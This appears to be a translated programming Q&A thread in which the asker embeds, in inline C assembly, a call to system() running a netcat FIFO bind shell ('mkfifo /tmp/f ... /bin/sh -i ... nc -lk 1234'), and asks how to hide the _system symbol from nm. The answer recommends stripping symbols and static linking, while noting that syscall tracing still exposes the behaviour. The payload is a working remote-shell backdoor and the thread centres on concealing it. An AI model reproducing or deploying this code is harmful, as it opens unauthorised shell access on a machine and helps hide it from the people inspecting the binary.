调用C函数而不使用NM命令显示它们

时间:2017-01-19 03:29:14

标签: c assembly

我有以下asm代码:

int  main(void)
{
    __asm__("   subq    $16, %rsp\n"
            "leaq   L_.str(%rip), %rdi\n"
            "movb   $0, %al\n"
            "callq  _system\n"
            "xorl   %ecx, %ecx\n"
            "movl   %eax, -4(%rbp)\n" 
            "movl   %ecx, %eax\n"
            "addq   $16, %rsp\n"
            "popq   %rbp\n"
            ".section   __TEXT,__cstring,cstring_literals\n"
            "L_.str:\n"
            ".asciz \"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lk 1234 > /tmp/f\"\n"
            "retq\n");
}

它等于:

system("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lk 1234 > /tmp/f");

我正在使用C语言,当我编译它们并对可执行文件执行NM时,我们可以在符号中看到_system函数。

我的问题是:如何通过在ASM代码中执行某些操作来隐藏NM命令上的此符号?

1 个答案:

答案 0 :(得分:0)

一种选择是在链接后剥离二进制文件。这将删除符号表和所有符号。这可以通过在链接阶段传递-s或在生成的二进制文件上调用strip来实现。

请注意,因为libc可能作为共享库加载,所以字符串_system将出现在二进制文件中,以便在libc anyqay中查找它。为了摆脱这种情况,你需要静态链接libc(为此目的,gcc接受-static)。但是,即使这样,也很容易通过跟踪它所调用的系统来推断出你的程序正在做什么(例如使用像truss这样的实用程序。